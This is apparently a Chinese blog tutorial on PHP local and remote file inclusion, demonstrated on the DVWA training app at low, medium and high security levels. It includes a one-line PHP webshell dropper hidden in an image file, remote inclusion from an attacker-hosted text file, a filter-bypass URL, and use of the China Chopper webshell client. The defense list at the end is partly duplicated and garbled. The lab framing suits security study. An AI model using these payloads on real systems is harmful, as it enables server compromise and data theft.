二、文件包含漏洞
2.1 概述
文件包含:服务器执行PHP
文件时,可以通过文件包含函数加载另一个文件中的PHP
代码,并且当PHP
来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include
选项时,就可以通过php
的某些特征函数( include(),require(),和include_once() )利用url
去包含文件,此时如果没用对文件的来源进行严格的审查,就会导致了执行任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞,远程文件包含是因为开启了php
中配置了allow_url_fopen
选项(选项开启后,服务器允许包含一个远程的文件)。服务器通过php
的特性(函数)去包含任意文件,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到我们自己的目的。
- 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能。
- 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,会形成远程命令执行或者文件上传漏洞。
- 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备的
inlude
、require
等函数。
文件包含分为两大类:
本地文件包含LFI( Local File Inclusion )当被文件包含的文件在服务器本地时,就形成本地文件包含。
远程文件包含RFI( Remote File Inclusion )当被包含文件在第三方服务器时,叫做远程文件包含。
2.1.1攻击页面
进入要攻击的页面Damn Vulnerable Web Application点击File Inclusion页面 — Open Web Application Security Project (OWASP)提供的网站页面。有问题可也看上一个博客网络攻击与防御之文件上传漏洞
2.2低安全级别渗透
将原来的包含的文件改成本站上一些敏感的文件,就会显示在网页开头。包含的文件可以是:密码、账号、系统信息、PAP的配置等。
2.2.1本地入侵
一、制作一句话图片木马 e.g. huige.jpg
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[1]);?>")?>
代码讲解:
生成一个叫shell.php的文件,文件内容为:<?php eval($_POST[1]);?>
使用edjpgcom工具,把需要图片拖至edjpgcom.exe并输入上面的代码。
二、上传图片木马文件
本地:在Damn Vulnerable Web Application的Upload页面可以上传文件到服务器(具体上传方式见上一博客)。
三、执行文件包含并生成后门
回到File Inclusion页面,用上传的照片路径替换网址中的include.php 出现下图现在证明成功。这时候在此目录下以经生成了新的php程序:shell.php。
2.2.2远程入侵
- 开启kali – 攻击机(或者Linux系统)
- 进入root用户 :
su
- 建立txt文档:
vim /var/www/html/a.txt
- 复制上面代码到txt文档。
- 查看自己的ip地址:
sudo ip -a
- 查看刚才建立的txt文档:在浏览器中输入自己的的IP地址并且加上
/a.txt
网页显示txt文档内容表示成功。 - 回到File Inclusion页面,用刚才查看a.txt的网址(如:http://192.168.159.135/a.txt)替换网址中的include.php但网页不会发生变化。
- 这时候在此目录下以经生成了新的php程序:shell.php。
2.2.3通过中国菜刀连接
注:无论是通过本地侵入还是通过远程侵入,都是将带有php程序的代码插入到包含文件内,当网页执行时就会执行里面的php程序,进而生成支持中国菜刀侵入的php程序。和文件上传漏洞使用的是相同的代码。
原网址:http://192.168.159.129/dvwa/vulnerabilities/fi/?page=include.php
在网站高亮部分后面添加shell.php:http://192.168.159.129/dvwa/vulnerabilities/fi/shell.php
并将其复制到中国菜刀,密码为:1
成功连接到主机和数据库2.3 中安全级别渗透
查看源码:在文件包含页面(侵入页面)右下角点击View Source按钮可以查看源码
// 部分源码
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
把http://``https://
替换为空。即限制了远程文件包含。但是对本地没用做出规范。
2.3.1 本地入侵:
在中安全级别下没用对本地文件做出规范,所以可以沿用低安全级别模式下的本地入侵方式。
2.3.2 远程入侵:
原网页:http://192.168.159.129/dvwa/vulnerabilities/fi/?page=http://192.168.159.135/a.txt
为防止将
http://
替换,在其中级再插入一个http://
结果如下:http://192.168.159.129/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.159.135/a.txt
之后就和低安全级别下的操作一样。通过中国菜刀连接,访问其主机和数据库。
2.4 高安全级别渗透
查看源码:在文件包含页面点击View Source按钮可以查看源码
// 部分源码
if ( $file != "include.php" )
只允许包含include.php
文件。
这时候不能通过文件包含完成侵入。
2.5 防御办法
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“…/”;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制; - 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“…/”;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
- 尽量不要使用动态包含,将需要包含的页面固定写好,如:
if ( $file != "include.php" )